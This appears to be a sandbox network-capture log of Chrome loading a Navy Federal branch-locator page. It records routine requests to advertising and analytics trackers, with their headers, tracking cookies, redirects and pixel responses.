2024-05-24 22:46:20 UTC	12008	OUT	GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2NDYyMjY2MzQ2MjgxOTMxNTk4CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY2hldHlwZV9pZDogNjI4NzkwNjExCmFyY [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:21 UTC	11847	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:21 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-OS-Trigger: "https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2NDYyMjY2MzQ2MjgxOTMxNTk4CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmF [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * Location: https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.6	50208	63.140.39.93	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	3861	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s38309634341966?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A16%205%20240&sdid=70343B24F90FE0B6-3CEBE931959AA0ED&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Abranches-atms&g=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Abranches-atms&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Ahome&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Abranches-atms&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A15&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D37%20%7C%20initialPercentViewed%3D37% [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion [TRUNCATED]
2024-05-24 22:46:21 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:46:21 GMT expires: Thu, 23 May 2024 22:46:21 GMT last-modified: Sat, 25 May 2024 22:46:21 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:46 GMT; etag: 3686350634074079232-4618553836025696130 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:46:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.6	50200	18.239.18.108	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	753	OUT	GET /cgi-bin/m?ci=tradedesk&cg=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: secure-gl.imrworldwide.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:21 UTC	897	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 44 Connection: close Date: Fri, 24 May 2024 22:46:21 GMT Server: nginx Set-Cookie: IMRID=70ed6850-1a1f-11ef-b29a-e1036767b6fe; Path=/;Secure;SameSite=None; Domain=imrworldwide.com; Expires=Wed, 18-Jun-2025 22:46:21 GMT; Max-Age=33696000 Expires: Thu, 01 Dec 1994 16:00:00 GMT Pragma: no-cache Cache-Control: no-cache P3P: P3P policyref="http://secure-gl.imrworldwide.com/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM" Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS cross-origin-resource-policy: cross-origin Accept-CH: Sec-Ch-Ua-Model, Sec-Ch-Ua-Platform, Sec-Ch-Ua-Platform-Version X-Cache: Miss from cloudfront Via: 1.1 11e924fe383f6400148d019b996a5864.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: 2NMqnWTc2vfIal1YA4CTQU2DONE5emqkdxn_2hBUl7_1NsWWHwP_RQ==
2024-05-24 22:46:21 UTC	44	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 00 Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.6	50209	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	890	OUT	GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:21 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:21 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: ca5182310de996e3 strict-transport-security: max-age=631138519 x-response-time: 80 x-connection-hash: 2c03d2cf4232f24d633cc19e14a031bafefc9892f49a8f8444b998476616f392 connection: close
2024-05-24 22:46:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.6	50205	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	971	OUT	GET /setuid/a9?entity=188&code=wCkBr523Tkqf1J4YPCC1Ww&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DxandrHMT%26id%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FZ.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd><f=kWg0D(HGz^Q
2024-05-24 22:46:21 UTC	1659	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://s.amazon-adsystem.com/ecm3?ex=xandrHMT&id=wCkBr523Tkqf1J4YPCC1Ww AN-X-Request-Uuid: 6ae81275-12c7-4386-80fa-6177a7f29d14 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:21 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40<CxrEQF']wIg2E?d?=+XZ!A#Fk.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd@<@(tGb<PaZ<TwnZC)v$x]PPd6z+4'bA#zs`eP9n?:Oi`A>PlZ[C[-kX-_fd_; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:21 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:21 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:21 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.6	50211	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	753	OUT	GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:21 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:20 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 7274b8125ff1a9d9 strict-transport-security: max-age=0 x-response-time: 77 x-connection-hash: 0c9a8385febfdcfe8fa7e66f624c1f9a09d2de471f591679c96c46944e735b4a connection: close
2024-05-24 22:46:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.6	50213	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	688	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:21 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:20 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: ab473457fc111838 strict-transport-security: max-age=0 x-response-time: 6 x-connection-hash: b6786463564dc1d6137fbd6313da6da07c89bdef05253e5ff22ca5187f817e86 connection: close
2024-05-24 22:46:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.6	50207	52.215.230.136	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	703	OUT	GET /match?publisher_dsp_id=416&external_user_id=BscuP2u4QsumCHkei5Vfyw&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DimprovedigitalHMT%26id%3D%7BPUB_USER_ID%7D HTTP/1.1 Host: match.360yield.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:21 UTC	714	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:21 GMT Content-Type: text/plain Content-Length: 0 Connection: close access-control-allow-origin: * set-cookie: tuuid=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24; Expires=Thu, 22 Aug 2024 22:46:21 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure set-cookie: tuuid_lu=1716590781; Expires=Thu, 22 Aug 2024 22:46:21 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://match.360yield.com/ul_cb/match?publisher_dsp_id=416&external_user_id=BscuP2u4QsumCHkei5Vfyw&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DimprovedigitalHMT%26id%3D%7BPUB_USER_ID%7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.6	50212	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	1499	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:21 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:52 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:52 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.6	50210	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	1094	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "2775054c068b37509e0798448f7fd32c" If-Modified-Since: Mon, 20 May 2024 07:02:14 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUoAzILCKLBmv3Bk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
